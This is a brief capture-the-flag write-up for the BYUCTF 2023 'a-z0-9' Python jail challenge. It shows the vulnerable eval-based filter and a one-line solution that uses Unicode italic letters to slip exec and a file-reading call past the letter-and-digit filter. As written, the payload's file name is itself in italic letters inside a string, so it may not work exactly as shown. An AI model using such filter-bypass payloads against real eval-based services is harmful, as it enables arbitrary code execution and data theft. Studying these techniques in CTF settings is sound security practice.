BYUCTF 2023 – a-z0-9

a-z0-9

You can't use any of the letters of the alphabet OR any numbers

OH and don't make it tooooo long

Table of Contents

1. Source code
2. Solution

Source code

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

Solution

We can use encoding to bypass all restrictions :

𝘦𝘹𝘦𝘤("𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯('𝘧𝘭𝘢𝘨.𝘵𝘹𝘵').𝘳𝘦𝘢𝘥())")

Website for string to unicode encoding : qaz.wtf/u/convert.cgi